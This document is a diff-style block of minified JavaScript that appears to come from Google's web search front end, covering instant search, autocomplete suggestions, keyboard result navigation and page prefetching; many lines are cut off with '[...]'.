+_.U2=function(a){var b=_.c2;a.D=_.m;a=!!b.results.B;(0,_.Q1)(b.yj,b.yj.D.IS,a);(0,_.Q1)(b.yj,b.yj.D.M1,a);(0,_.Q1)(b.yj,b.yj.D.TS,a);(0,_.Q1)(b.yj,b.yj.D.zM,a)};_.V2=function(a){var b=_.c2;a.D=_.m;a=!!b.results.B;(0,_.Q1)(b.yj,b.yj.D.ES,a);(0,_.Q1)(b.yj,b.yj.D.zM,a);(0,_.xf)(92,[_.m])};_.uAa=function(a,b){(0,_.V1)(b,_.Ri.la())||(_.Ri.Hb(b),_.c2.results.ka=b,(0,_.x1)());b||a.clear()};_.vAa=function(a){a.M&&(window.clearTimeout(a.M),a.M=_.l)};
+_.wAa=function(){var a=window.google.cideb;return a||window.navigator&&(a=window.navigator.searchBox)?a:(a=window.chrome)&&a.searchBox};
+_.xAa=function(a,b){var c=(0,_.T)("p_chrome");c?c.className="dep":b&&(c=window.document.createElement("style"),c.type="text/css",c.id="p_chrome",c.className="dep",(0,_.Ye)(c));b&&(c=_.c2.results,(0,_.S2)(c)==_.m&&(0,_.p2)(c,(0,_.q2)(c))&&(0,_.G2)(c,_.j),(0,_.P2)(_.c2.results));(0,_.j1)(function(){var a=(0,_.T)("p_chrome");return a&&"dep"==a.className},function(){window.google.j.bo=_.m;_.yAa||((0,_.iza)(),_.Ri.Ht(_.j));var c=_.c2;c&&c.isEnabled()&&(c.Ke.clear(),b?((0,_.uAa)(c.Ke,a),(c=(0, [...]
+a))&&(0,_.yf)(c),_.Ri.$s()):_.Ri.Ig(a),_.Ri.blur(),_.W2&&(_.X2?(_.Y2=_.j,(0,_.S1)()):((0,_.S1)(),(0,_.T1)(_.j,_.m))))},b?0:500)};_.zAa=function(a,b){if(window.document.createEvent){var c=window.document.createEvent("HTMLEvents");c.initEvent(b,_.j,_.j);a.dispatchEvent(c)}else c=window.document.createEventObject(),a.fireEvent("on"+b,c)};_.AAa=function(){return"1"==window.google._bfr?_.m:"1"==(0,_.m1)("mhpf",window.location.href)};
+_.BAa=function(){var a=_.Z2;if(a){(0,_.AAa)()&&(!_.cza&&!window.document.webkitHidden)&&(window.document.webkitHidden=_.j,window.document.webkitVisibilityState="hidden",(0,_.zAa)(window.document,"webkitvisibilitychange"));var b=a.value,a=a.verbatim?46:0,c=_.c2;c&&c.isEnabled()&&(_.Ri.Ht(_.m),(0,_.A2)(c.results),c.results.Xc=_.j,(0,_.e2)(c,b,46==a),_.Ri.Ig(b))}};
+_.CAa=function(){var a=_.Z2;a&&((0,_.AAa)()&&!_.cza&&((0,_.B1)("center_col",_.m),window.document.webkitHidden=_.m,window.document.webkitVisibilityState="visible",(0,_.zAa)(window.document,"webkitvisibilitychange")),(0,_.xAa)(a.value,_.j))};_.DAa=function(){var a=_.Z2;a&&(0,_.xAa)(a.value,_.m)};
+_.EAa=function(){var a=_.Z2;if(a){var b=a.x,c=a.y,a=a.height;window.google.j.bo=_.j;var d=a+c,e=(0,_.T)("p_chrome");(0,_.Fd)(e);e=window.document.createElement("style");e.type="text/css";e.id="p_chrome";var f="";(0,_.k1)();f="#top_nav,#appbar,#resultStats,#gbqf,#gbv{display:none}#cnt{padding-top: 0}#rcnt{margin-top:12px}";_.Qe.qz&&!a&&(f="");d=window.Math.max(d-100,0);f=["#tsf,.lsd{visibility:hidden}",f,"#cnt{position:relative;top:",d,"px}"].join("");_.Pe.He?e.styleSheet.cssText=f:e.appe [...]
+(0,_.Ye)(e);if(d=(0,_.T)("pocs")){e=(0,_.T)("pocsC");if(!d.parentNode||"pocsC"!=d.parentNode.id)e||(e=(0,_.Ze)("DIV"),e.id="pocsC",(0,_.Ye)(e)),f=(0,_.T)("oPocsC"),f||(f=(0,_.Ze)("DIV"),f.id="oPocsC",d.parentNode.insertBefore(f,d)),d.style.position="relative",e.appendChild(d);e===_.l||(0,_.cf)(e,"position","absolute","top",window.Math.max(a+c,100)+"px","left",b+"px")}}};
+_.FAa=function(a){var b=_.c2;if(a)return(0,_.H1)(),(0,_.d2)(b),b.Ke.B=_.m,(0,_.U2)(b.Ke),(0,_.V2)(b.Ke),(0,_.Ff)(window.document.body,"nodrag"),291;(0,_.Gf)(window.document.body,"nodrag");b.Ke.B=_.j;return 0};_.$2=function(a,b){this.D=a;this.H=b;this.B={}};_.GAa=function(a){return{a:(0,_.Xa)(a.rK,a),b:(0,_.Xa)(a.MI,a)}};
+_.HAa=function(a,b,c){var d=(0,_.dza)(_.c2.Ke.mn());if(!d)return b;d=d.substring(1);b=[a,"pf="+(_.c1?"i":"p")];a=(0,_.hr)(a);var e=(0,_.hr)(d),f=(0,_.Df)("safe");f&&(0,_.m1)("safe",d)==_.l&&(e.safe=f);for(var g in e)"pq"!=g&&a[g]===_.ba&&b.push(g+"="+e[g]);c&&b.push("bs=1");return b.join("&")};_.a3=function(){var a=(0,_.$d)(window.document);return(0,window.Boolean)(a&&!/^(?:INPUT|TEXTAREA|SELECT)$/.test(a.nodeName))};_.b3=function(){_.X2?(_.Y2=_.j,(0,_.S1)()):((0,_.S1)(),(0,_.T1)(_.j,_.m))};
+_.IAa=function(a){a=a||window.event;a.persisted||_.Ri.es()};_.JAa=function(){if(_.c2.isEnabled()){var a=(0,_.c3)();100<window.pageYOffset&&a&&(a=_.c2.results,(0,_.I2)(a)&&(0,_.F2)(a,4),(0,_.f1)()&&(0,_.x1)())}};
+_.KAa=function(a){a=a||window.event;if(!(0,_.xf)(94,[a]))return _.j;var b=a.keyCode,c=_.LAa[b],d=_.d3[b];if(a.altKey||a.ctrlKey||a.metaKey||!_.e3[b]&&!c&&!d){if(13==b){for(a=a.target||a.srcElement;a&&"A"!=a.nodeName;)a=a.parentNode;if(a){if(a.onmousedown)a.onmousedown();c=a.href;if(/\/(url|aclk)\?/.test(c)&&(0,_.m1)("kb",c)==_.l&&((0,_.m1)("usg",c)!=_.l||(0,_.m1)("sig",c)!=_.l))a.href+="&kb=1"}}return _.j}if((0,_.a3)())if(d)if(9==b||!_.f3&&_.Y2&&74==b){if(_.Y2)return window.google.log("a [...]
+window.google.kEI,"&kc=",b].join("")),_.Y2=_.m,(0,_.S1)(),(0,_.T1)(_.j,_.m),(0,_.g3)(a);(0,_.S1)()}else{if(_.Y2)return _.j;if(40==b||74==b)(0,_.T1)(_.j,_.j);else if(38==b||75==b)(0,_.T1)(_.m,_.j);else{if(c=37==b||39==b)c=(0,_.T)("knavm"),c=!(c&&(0,_.xf)(34,[c.parentNode,39==b],_.m));if(c)return _.j}return(0,_.g3)(a)}else{if(27==b)return _.Ri.fh(),(0,_.g3)(a);d=function(){(0,_.j1)((0,_.E)(_.j),function(){27!=b&&window.google.log("fif",["&ei=",window.google.kEI,"&psi=",(0,_.m1)("psi",windo [...]
+"&kc=",b].join(""))},0)};if(_.f3)(0,_.S1)(),a=_.Ri.la(),c&&a&&_.Ri.Ig(a+" "),_.Ri.focus(),d();else if(191==b)return(0,_.S1)(),_.Ri.focus(),d(),(0,_.g3)(a)}return _.j};_.MAa=function(){(0,_.O2)()};_.h3=function(a){return function(b,c,d,e,f){if(e)return _.j;try{c&&(b=c()),"string"==typeof b&&(b=(0,_.Qg)(b)),a(b,d)}catch(g){window.google.ml(g,_.m,{_response:b,_url:d,_isPartial:e,_opt_fromCache:f})}return _.j}};
+_.NAa=function(a){var b=_.c2;_.Ri.vd(a)&&(a=_.Ri.eh(a),a=_.cj.Bu(a).ha(),b=b.results,b.M.Ew===_.ba&&(a=(a=(a=a&&a.length?a[0]:_.l)?a.Q():_.l)?a:_.Ri.la(),(0,_.y2)(b,a)))};_.OAa=function(a,b){var c=a.fpr;if(c){var d=(0,_.v1)(b);(0,_.$za)(_.c2.results,d,c)}if("bpc"in a||"tlw"in a){var c=!!a.bpc,d=!!a.tlw,e=_.c2.Ke;e.ka?(e.ka=_.m,(0,_.i3)(e.X,e.S,e.rg(),c,e.B,d)):(e.N=_.j,e.ra=c,e.Fa=d)}};
+_.PAa=function(a,b){var c=_.c2.results;(0,_.QAa)(a);a.pnp&&c.suppress(b,1,_.m,2);var d=(0,_.m1)("q",b,_.j,_.m),d=a.snp&&""!=d&&d==_.Ri.Ca()&&!(0,_.p2)(c,(0,_.q2)(c));if(!_.c1)if(0<_.j3)if(d){var e=_.k3;c.Ja||((0,_.rAa)(c,"flyr-w","wflyr","cnt"),(d=(0,_.bf)("#wflyr"))?c.Ja=(0,_.lf)(_.j3,[[d,"opacity",0,1,_.l,""]],(0,_.Xa)(function(){(0,_.hAa)(this,e)},c)):e(b))}else(0,_.RAa)();else d&&(0,_.k3)(b)};_.k3=function(a){var b=_.c2.results;""!=(0,_.v1)(a)&&!(0,_.p2)(b,(0,_.q2)(b))&&b.suppress(a, [...]
+_.SAa=function(a){for(var b=(0,_.Un)().childNodes,c=0,d;d=b[c++];)if(d.name==a){(0,_.Fd)(d);break}};_.g3=function(a){a.preventDefault&&a.preventDefault();return a.returnValue=_.m};_.TAa=function(){var a,b=(0,_.mza)();(b=b?b.ha():_.l)&&b[0]&&(a=b[0].Q());return a||""};_.UAa=function(a){!_.c2||!_.c2.isEnabled()?(0,_.VAa)(a):window.gbar&&window.gbar.qsi&&window.gbar.qsi(a)};_.c3=function(){return _.c2?(0,_.v1)((0,_.q2)(_.c2.results)):""};
+_.QAa=function(a){var b=_.c2.results;a.pjf&&(b.Ia=a.pjf);a.redir&&(b.X=a.redir)};
+_.i3=function(a,b,c,d,e,f){var g=_.c2,h=_.Ri,i=_.m,n=_.cj.Ju(b);!d&&n.length&&h.Qh(n[0].Q())&&(d=i=_.j);!d&&h.Sj(a)&&(d=_.j);(h=(0,_.tAa)(g.Ke))&&(d=i=_.j);n&&(n[0]&&(0,_.jza)(n[0].C())&&1!=g.results.D)&&(d=i=_.j,(0,_.V2)(g.Ke));d?g.Ke.D=_.j:2==g.results.S||(0,_.U2)(g.Ke);g.Ke.rE=!!f&&a.lastIndexOf(" ")!=a.length-1;f=g.results;(0,_.A2)(f);e!==_.m&&(d?(c=g.results,f=i,(0,_.P2)(c),i=h?7:2,c.suppress((0,_.D2)(c,a),i,_.j),f||(0,_.x1)()):(i=g.Ke.pI&&0==b.length,i=g.Ke.vF&&(i||!_.L2),h=0<a.len [...]
+1):"",h=_.WAa&&(" "==h||"\u3000"==h),i=!(!_.K2&&(i||h)),c?(0,_.Zza)(f,n,i)&&_.l3&&((0,_.T2)(f),c=f.M.Zc(),f.M.rE&&(c=(0,_.$1)(c)),0<_.m3&&(0,_.pAa)(f,(0,_.D2)(f,c),_.m3)):(0,_.Zza)(f,n,i)),6==_.Ri.Qt()?_.n3||((0,_.l1)("gs_ivs","1"),_.n3=_.j):_.n3&&((0,_.SAa)("gs_ivs"),_.n3=_.m),(0,_.xf)(39,[g.Ke.Zc(),n,a]))};
+_.XAa=function(){var a;a=_.c2;var b=(0,_.i2)();(0,_.Xza)();_.k2||_.j2||b?a=_.m:((0,_.o2)(a),(0,_.O1)(a.yj,a.yj.D.slowConnection,1),(0,_.Eza)(),_.K1=_.j,(0,_.J1)(),a=_.j);a&&(_.E2.H(),_.E2.D(),_.E2.Ja(),window.google.j.bo&&(0,_.d1)())};_.o3=function(a,b,c){_.E2&&(_.YAa.push([a,b]),_.E2.rq(a,b,c))};
+_.ZAa=function(a){_.Ri||(_.Ri=_.$Aa.translate(window.google.ac.gs()));_.n1=a.csui;var b=_.c1;_.c1=!!a.ig;_.g1=!_.c1;var c;_.n1?(c=_.U.mG().F(_.dj.mG),c=!!c&&!c.ZW()):c=_.m;c&&(_.c1=_.j);b=_.c1!=b;window.google.j&&window.google.j.pm&&(window.google.j.pm=_.c1?"i":"p");a.dlen!==_.ba&&(_.Uza=36E5*a.dlen);a.dper!==_.ba&&(_.Vza=a.dper);try{_.y1=a.lpu;_.pza=a.lpe;var d=a.aph;if(d&&!_.p3){var e=new window.Image;e.style.display="none";c=function(){_.p3=d;(0,_.Fd)(e)};e.onerror=c;e.onload=c;e.src= [...]
+window.document.body.appendChild(e)}var f=a.rpt;c=_.m;f&&(_.z1&&f!=_.z1)&&(c=_.j,_.z1=f);if(_.aBa){if(b){if(!(0,_.bBa)(a,_.m)){(0,_.xf)(62,[_.m]);return}(0,_.xf)(62,[!_.c1])}(0,_.p1)(_.a2,(0,_.q2)(_.c2.results));c&&!(window.google.sn in _.fza)&&(0,_.k1)()}else if((0,_.rh)(window.document,"webkitvisibilitychange",function(){var a=_.c2;a&&a.results&&(a=a.results,!a.Je&&!(0,_.S2)(a)&&(a.Je=_.j))}),_.Qe.qz&&(0,_.uf)(57,_.sza),a.hiue&&(_.D1=_.j),(0,_.I1)((0,_.qq)(),_.j),window.google.j&&windo [...]
+window.google.j.init){_.k2=a.optIn;_.Tza=a.iscm;_.c2=new _.Y1;var g=!(0,_.bBa)(a,_.j);(0,_.uf)(112,function(){return!((_.c2.results.Xc||_.n1)&&_.c2.results.Sg&&!(0,_.t1)())});a.hpt&&(_.A1=a.hpt);a.mds&&(_.h2=a.mds.split(","));_.zza=(0,window.RegExp)("\\b(?:(?:(?:cache"+(a.odef?"":"|define")+"):)|\\d+\\.{3}\\d+\\b)");_.W2=a.kn;_.X2=a.knrt;_.eAa=a.pq;_.i1=a.mtss;_.Rza=a.fbh;a.spt&&(_.P1=a.spt);_.U1=a.msg;(_.cBa=a.afrn)&&(_.dBa=(0,_.vq)("session","psy"));var h=(0,_.t1)();(0,_.v1)(h)?((0,_.k [...]
+(0,_.F1)(_.m)):window.google.sn=(0,_.f1)()?"mobilewebhp":"webhp";var i=!_.k2&&(0,_.i2)(),n;if(n=!i){var p;if(p=!_.k2){var k=a.maxXjsls;if(k)try{var q=window.google.timers.load.t;p=q.xjsls-q.start>k}catch(v){p=_.m}else p=_.m}n=p}n&&((0,_.Xza)(),i=_.j);_.E2.Xc((0,_.GAa)(new _.$2(_.XAa,[[a.avgTtfc||0,a.avgTtlc||0,a.avgCbt||0],[a.maxTtfc||0,a.maxTtlc||0,a.maxCbt||0]])));_.E2.Rb(a.pmt||0);_.E2.ka("/search");"brba"in a&&_.E2.aM(a.brba);_.m2=_.eBa;_.l2=_.fBa;if(!g){"focus"in a&&(_.f3=a.focus);" [...]
+(_.vza=a.tdur);"fd"in a&&(_.oAa=a.fd);"fbdu"in a&&(_.Q2=a.fbdu);"fbdc"in a&&(_.m3=a.fbdc);"ime"in a&&(_.K2=!a.ime);"imes"in a&&(_.L2=!a.imes);"gpsj"in a&&(_.j2=a.gpsj);"sfcs"in a&&(_.l3=a.sfcs);"spmo"in a&&(_.q3=(0,_.Kh)(a.spmo));"khh"in a&&(_.yAa=a.khh);a.nprr&&(_.gBa=a.nprr);"sfime"in a&&(_.J2=a.sfime);"asfpr"in a&&(_.jAa=a.asfpr);"sras"in a&&(_.WAa=a.sras);"sgcif"in a&&(_.hBa=a.sgcif);_.uf.apply(_.l,_.eBa);(0,_.wf)(25,window.google.j.te);_.uf.apply(_.l,_.iBa);_.uf.apply(_.l,_.jBa);if( [...]
+_.E2.Ia("/s");_.E2.B(r,"/completedata");_.E2.B(r,"/searchdata")}(0,_.g2)(_.c2,h);_.c2.isEnabled()&&(0,_.qs)(h)&&((0,_.n2)(_.c2.results,h),(0,_.aAa)(_.c2.results,h),_.W2&&(0,_.b3)());(0,_.rh)(_.Qe.qy?window:window.document.body,"keydown",_.KAa);_.n1&&(0,_.rh)(window,"resize",_.MAa);a.ophe&&(_.Qe.FB&&!_.Qe.vx&&"onpagehide"in window)&&(0,_.rh)(window,"pagehide",_.IAa);if(a.focus){_.e3[8]=_.e3[27]=_.e3[63]=1;for(var f=[[48,57],[65,90],[96,111],[186,221]],g=0,s;s=f[g++];)for(var A=s[0];A<=s[1 [...]
+1}else _.e3[191]=1;_.W2&&(_.d3[9]=1,_.f3?_.d3[37]=_.d3[39]=_.d3[38]=_.d3[40]=1:_.d3[74]=_.d3[75]=_.d3[38]=_.d3[40]=1);_.aBa=_.j;"ocb"in a&&(_.kBa=a.ocb);a.ufl&&(_.r2=_.j);a.ftwd&&(_.j3=a.ftwd);if(_.n1)(0,_.uf)(18,function(a){"search"==a&&(0,_.F1)(_.Ri.Ds());return _.j}),(0,_.uf)(102,_.xza),(0,_.uf)(104,_.FAa),(0,_.uf)(107,_.k1),(0,_.uf)(37,function(a){(0,_.Hza)(!a)});else{var z=_.Z2=(0,_.wAa)();z&&(z.onsubmit=_.CAa,z.onchange=_.BAa,z.oncancel=_.DAa,z.onresize=_.EAa,z.value&&window.setTim [...]
+(0,_.BAa)()},0),z.setSuggestions&&(0,_.uf)(39,function(a,b,c){a={query:c,complete_behavior:_.kBa};c=a.suggestions=[];for(var d=0,e;e=b[d++];)e={type:e.C()+"",value:e.Q(),htmlValue:e.$a()},c.push(e);z.setSuggestions(a)}))}_.c1||(0,_.xf)(62,[_.j])}}}catch(t){(0,_.d1)(),(0,_.aa)(t)}};
+_.bBa=function(a,b){_.lBa=a.sc;b&&(_.E2=(0,_.sf)((0,_.tf)(),_.Gs));if(_.E2)for(var c;c=_.YAa.pop();)_.E2.Lf(c[0],c[1]);(_.v2=!window.google.ucp&&(_.E2.N()||_.E2.S()))?((0,_.o3)((0,_.h3)(_.NAa),"/s"),_.E2.ka("/s")):_.E2.jb("/s");c=!_.k2&&(0,_.i2)();if(!_.c1&&(a.optOut||c)||a.fdis||!window.google.ac){var d=(0,_.t1)(),d=!(d&&"#"!=d&&_.h2&&(0,_.no)(_.h2,d));(0,_.I1)("po-bar",d);d&&c&&(0,_.Eza)();_.K1=c;if(a.optOut||c)(0,_.eza)({csiSlowMarker:a.optOut?1:2});_.uf.apply(_.l,_.fBa);(0,_.J1)();(0 [...]
+window.google.j.bo&&(0,_.d1)();return _.m}_.Fza=_.j;_.K1=c;_.E2&&!_.c1&&((0,_.o3)((0,_.h3)(_.OAa),"/completedata"),(0,_.o3)((0,_.h3)(_.PAa),"/searchdata"));(0,_.J1)();(0,_.eza)({shouldBlur:_.m});(0,_.f1)()&&(_.c1?b||(0,_.sh)(window,"scroll",_.JAa):(0,_.rh)(window,"scroll",_.JAa));return _.j};_.RAa=function(){var a=_.c2;a&&a.isEnabled()&&(0,_.hAa)(a.results,_.k3)};_.P1=0;_.WAa=_.m;_.cBa=_.m;_.jAa=_.m;_.J2=_.m;_.j3=0;_.gBa=5;_.r2=_.m;_.k2=_.m;_.Tza=_.m;_.l3=_.j;_.yAa=_.m;_.h2=_.l;_.oAa=1E3 [...]
+_.Vza=1;_.Uza=864E5;_.eAa=_.m;_.hBa=_.m;_.z1=41;_.A1=250;_.vza=50;_.lBa="";_.zza=_.l;_.Q2=3E3;_.m3=500;_.kBa="";_.U1={};_.pza=_.m;_.y1=[];_.oza=_.m;_.X2=_.m;_.D1=_.m;_.v2=_.m;_.Rza=_.j;_.j2=_.m;_.L2=_.j;_.K2=_.j;_.W2=_.j;_.n1=_.m;_.f3=_.j;_.g1=_.m;_.p3="";_.i1=_.m;_.K1=_.m;_.Fza=_.m;_.E2=_.l;(0,_.Pc)(_.Dc.I(),"p");
+_.Iza=["esp_logo","gbu"];_.Gza=_.m;_.L1=_.m;_.h1=_.l;_.kza={as_sitesearch:_.l,deb:_.l,dontrender:_.l,filter:_.l,gs_ssp:_.l,lr:_.l,nfpr:_.l,q:_.l,start:0,tbm:_.l,tbs:_.l};_.lza={e:1,expflags:1,expid:1,ion:1,ix:1,espv:1,fesp:1,es_sm:1,es_em:1,es_nrs:1};_.fza={webhp:1,imghp:1,mobilewebhp:1};
+_.Kza.prototype.Ra=function(){return this.B.yj&&""==this.B.yj.style.display};_.Y2=_.m;_.kAa=/<sc>(.*?)<\/sc>/g;_.iAa=/^\+/;_.lAa=/([#&\?]q=)[^&#]*/g;_.c2=_.l;_.m2=[];_.l2=[];_.Y1.prototype.isEnabled=(0,_.ga)("D");_.Y1.prototype.clear=function(){this.Ke.clear();(0,_.b2)(this.results)||this.results.clear()};_.Z1.prototype.clear=function(){(0,_.P2)(this);(0,_.gAa)(this);(0,_.I1)("er",_.j);this.B=_.l;this.H="";this.S=this.N=this.D=this.pj=0;this.Ia=this.X=_.l;this.S=0;(0,_.O2)();(0,_.Q1)(_.c [...]
+_.Z1.prototype.suppress=function(a,b,c,d){if((c||(0,_.p2)(this,a))&&!_.c1)if((0,_.H2)(this),(0,_.T2)(this),this.S=d==_.ba?1:d,(0,_.gAa)(this),this.B=_.l,_.Ri.$s(),(0,_.O2)(),_.n1&&(0,_.Hza)(_.m),!(1==b&&"+"==(0,_.v1)(a).charAt(0))&&(6==b&&(0,_.xf)(92,[_.j]),!this.Sg||!(0,_.S2)(this)))for(var e in _.c2.yj.D)if(a=_.c2.yj.D[e],a.M==b){(0,_.O1)(_.c2.yj,a,2);break}};_.F=_.Pza.prototype;_.F.mn=function(){return this.Ia.aT};
+_.F.clear=function(){this.Ew!==_.ba&&(this.Ew=_.l);this.H=0;(0,_.U2)(this);(0,_.x1)();(0,_.vAa)(this);this.WG=_.m};_.F.Zc=function(){return this.Ew&&this.Ew.Q()||""||_.Ri.la()};_.F.setSuggestions=function(a){this.H=0;this.Ew=_.l;this.WG=_.m;a&&a.length&&(this.H=a.length,this.Ew=a&&a.length?a[0]:_.l)};_.F.ie=function(){_.Ri.focus()};_.F.rg=(0,_.ga)("Ja");
+_.Z2=_.l;_.$2.prototype.rK=function(a,b){for(var c in this.B)if((0,_.no)([c],b))return this.B[c];return this.H};_.$2.prototype.MI=function(a){this.D&&this.D(a)};_.aBa=_.m;_.$Aa=_.cj.Hl();_.n3=_.m;_.e3={};_.LAa={};_.d3={};_.dBa=_.l;if(window.gbar&&window.gbar.qs){_.VAa=window.gbar.qs;window.gbar.qs=_.UAa}
+_.eBa=[76,function(){return 1!=_.c2.results.D},82,function(a,b){if(-1==a.indexOf("/completedata?"))return-1==a.indexOf("/s?");var c=_.c2,d=c.Ke.Zc();c.Ke.rE&&(d=(0,_.$1)(d));return(_.l3?0:(0,_.c3)()!=d)?(c=a.replace("/completedata","/s"),_.E2.jd(c,_.m,_.j,b),_.m):_.j},18,function(a){(0==a.indexOf("leftnavc")||0==a.indexOf("rhscol")||0==a.indexOf("sbfrm_l"))&&(0,_.p1)(_.a2,(0,_.q2)(_.c2.results));0==a.indexOf("search")&&((0,_.z2)(_.c2.results),a="",_.q3&&(a=_.q3),(0,_.xf)(84,[_.m,a]));a=_ [...]
+(window.clearTimeout(a.B),a.B=_.l);(0,_.Q1)(_.c2.yj,_.c2.yj.D.LI,!!_.c2.results.B);a.H=0;return _.j},26,function(){var a=_.c2,b=1==_.c2.results.D;(0,_.o2)(a);b||(0,_.R1)(a.yj,a.yj.D.LI,a.yj);return b},1,function(a,b,c,d,e){c&&d&&(c=a.replace("/search","/searchdata"),d=_.E2,d.X(c)&&d.jd(c));e&&(0,_.QAa)(e);c=_.c2.results;!c.Je&&(0,_.S2)(c)&&(0,_.G2)(c,_.m);c=_.c2.results;(0,_.p2)(c,a)&&1==c.D&&c.X?((0,_.yf)(c.X),c=_.j):c=_.m;if(c)return _.m;if(_.c2.Ke.D)return _.c2.results.suppress(a,2),_ [...]
+a))return _.m;if(1!=_.c2.results.D&&e&&e.pnp)return _.c2.results.suppress(a,1),_.m;(0,_.U2)(_.c2.Ke);(0,_.V2)(_.c2.Ke);(0,_.H2)(_.c2.results);if(b&&!_.c1)a:{b=_.c2.results;if((0,_.p2)(b,a)&&((0,_.H2)(b),0==++b.pj%_.gBa)){a=_.j;break a}a=_.m}else a=!_.c1||1==_.c2.results.D;return a},24,function(a){return!(0,_.N2)(_.c2.results,a)},19,function(){return(0,_.q2)(_.c2.results).replace(/\%20/g,"+")},51,function(a){a=(0,_.M2)(_.c2.results,a);return(0,_.r1)(a)},42,function(a){_.c2.results.jb=a},2 [...]
+a.target||a.srcElement){for(var b;!(b="A"==a.nodeName)&&(a=a.parentNode););if(b){if("logo"==a.id&&!(0,_.w1)()&&(0,_.m1)("tbm",(0,_.s1)())==_.l)return a=_.c2,(0,_.H1)(),(0,_.d2)(a),_.m;b=(0,_.m1)("sqi",a.href);a=-1!=a.href.indexOf("/url?")||-1!=a.href.indexOf("/aclk?");b||a?(a=_.c2.results,2!=a.N&&(a.N=2,(0,_.sAa)(a))):(a=_.c2.results,(0,_.I2)(a)&&(0,_.F2)(a,2))}}return _.j},3,function(a){a=(0,_.u1)(a);if((0,_.p2)(_.c2.results,a)){(0,_.H2)(_.c2.results);if((0,_.v1)(a))return(0,_.k1)(),(0, [...]
+a);_.Ri.Hb("");_.c2.results.ka=""}return _.j},4,function(a,b){if(!b){var c=_.c2.results;if(1==c.D||c.H==_.l)a!=_.Ri.la()&&c.M.clear(),(0,_.uAa)(c.M,a),(0,_.z2)(c);(0,_.Mr)()}return _.l},21,function(a){return!_.Ri.la()||0!=_.c2.results.D?a:_.l},30,function(a,b){var c=_.c2;if(1==a||3==a||4==a)return(0,_.o2)(c),2;if(0==a||2==a||7==a||6==a||8==a){if((0,_.p2)(c.results,b)&&0!=c.results.D)return(0,_.o2)(c),2;(0,_.Wza)(c);return 3}return 1},6,function(a,b){var c=_.c2.results;c.B=(0,_.bAa)(c,b); [...]
+(c=_.dBa)&&!c.get("hafrn")&&"taw"==a){var d=(0,_.T)("search");if(!d||!d.innerHTML||"hidden"==d.style.visibility){var e=(0,_.T)("rcnt");(0,_.rh)(e,"webkitTransitionEnd",_.Jza);e===_.l||(0,_.cf)(e,"opacity",0,"webkitTransform","translate3d(0, -5px, 0)");(0,window.setTimeout)(function(){e===_.l||(0,_.cf)(e,"webkitTransition","all 150ms linear","opacity",1,"webkitTransform","translate3d(0, 0, 0)")},0)}c.set("hafrn",_.j)}if(0==a.indexOf("search")||0==a.indexOf("main")&&(0,_.w1)()&&!(0,_.v1)(b [...]
+(0,_.aAa)(_.c2.results,b),(0,_.xf)(40,[(0,_.v1)(b)]);return _.j},79,function(){return 1!=_.c2.results.D},63,function(){_.Ri.Ds()&&(_.Ri.Tg(),(0,_.x1)())},45,function(a){(0,_.p1)(_.a2,(0,_.q2)(_.c2.results));_.n1&&(0,_.F1)(0!=a)},9,function(a,b,c,d,e){if(c){var f=c.fpr;f&&(0,_.$za)(_.c2.results,a,f);if("bpc"in c||"tlw"in c){(0,_.i3)(a,b,d,!!c.bpc,e,!!c.tlw);return}}c=_.c2.Ke;c.N?(c.N=_.m,(0,_.i3)(a,b,d,c.ra,e,c.Fa)):(c.ka=_.j,c.X=a,c.S=b,c.Ja=!!d,c.B=!!e)},23,function(a,b,c){var d=_.c2.Ke [...]
+(b!=a||a!=d.Zc()))&&d.clear()},50,function(a){(0,_.e2)(_.c2,a,_.j)},11,function(){_.n1||(0,_.Lza)(_.c2.yj);var a=(0,_.q2)(_.c2.results);_.h1&&window.clearTimeout(_.h1);_.h1=(0,_.j1)((0,_.E)(_.j),function(){(0,_.p1)(_.a2,a)},0);_.n1&&(0,_.F1)(_.m)},12,function(a,b){var c=_.c2,d=(0,_.tAa)(c.Ke);d||(0,_.V2)(c.Ke);_.Ri.Qh(a)||d||b?(c=c.results,(0,_.P2)(c),d=d?7:2,c.suppress((0,_.D2)(c,a),d,_.j)):(c.results.ka=a,(0,_.e2)(c,a,_.j))},49,function(a){var b=_.c2;!a||!a.replace(/\s+|\u3000+/g,"")?( [...]
+"&tbm="+((0,_.Df)("tbm")||"")),(0,_.A2)(_.c2.results),!_.Ri.nb()&&!_.c1&&b.clear(),(0,_.V2)(_.c2.Ke)):((0,_.v1)(b.results.H)==a&&0!=b.results.D||(b.results.D=0),_.n3&&((0,_.SAa)("gs_ivs"),_.n3=_.m),(0,_.e2)(b,a,_.m))},66,function(a){if(_.n1){var b=_.c2.Ke;(0,_.i3)(b.X,b.S,b.rg(),_.m,b.B,b.rE)}_.c2.results.ka=a;a=(0,_.TAa)();(0,_.y2)(_.c2.results,a)},22,function(){(0,_.p1)(_.a2,(0,_.q2)(_.c2.results));(0,_.e1)()},15,function(a,b){var c=_.c2;(0,_.U2)(c.Ke);(0,_.x1)();_.Ri.blur();_.g1||(_.g [...]
+b?(0,_.sAa)(c.results):_.W2&&(0,_.j1)((0,_.E)(_.j),_.b3,0);return b||(0,_.n2)(c.results,(0,_.D2)(c.results,a))},16,function(a,b,c){var d=_.c2;b=d.results.ka.length>c.length;d.results.ka=c;var e=a;if((0,_.yza)(c))return(0,_.y2)(d.results,c),d.results.suppress((0,_.HAa)(a,e,b),3),(0,_.x1)(),"";a=_.c1?a.replace(/([&\?])client=([^&]*)/,"$1sclient=$2"):a.replace(/([&\?])client=[^&]*&?/,"$1");a=a.replace("/complete/search","/s");c=(0,_.xf)(114);0<c&&(a=(0,_.Vn)("es_nrs",a,c.toString()));a=(0,_ [...]
+b);var f=a.replace("/s","/completedata"),g=_.E2;g.X(f)&&g.X(a)&&window.setTimeout(function(){g.jd(f)},0);var d=d.Ke,h=_.c2;(0,_.vAa)(d);if(a&&!(0>=_.Q2)){var i=(0,_.v1)(a);d.M=(0,_.j1)(function(){if(_.Ri.bh())return _.m;var a=(0,_.mza)(),a=a?a.U():"",b=h.Ke.Ew&&h.Ke.Ew.Q()||"";return(!_.v2||h.Ke.Ew!==_.ba)&&0==h.results.D&&a.toLowerCase()!=i.toLowerCase()&&(!b||!(0,_.W1)(b,i,_.j))},function(){(0,_.xf)(68,[i])&&((0,_.f2)(h.results,i,_.Q2),(0,_.x1)())},_.Q2)}return _.v2?(g.jd(a),e+"&sclien [...]
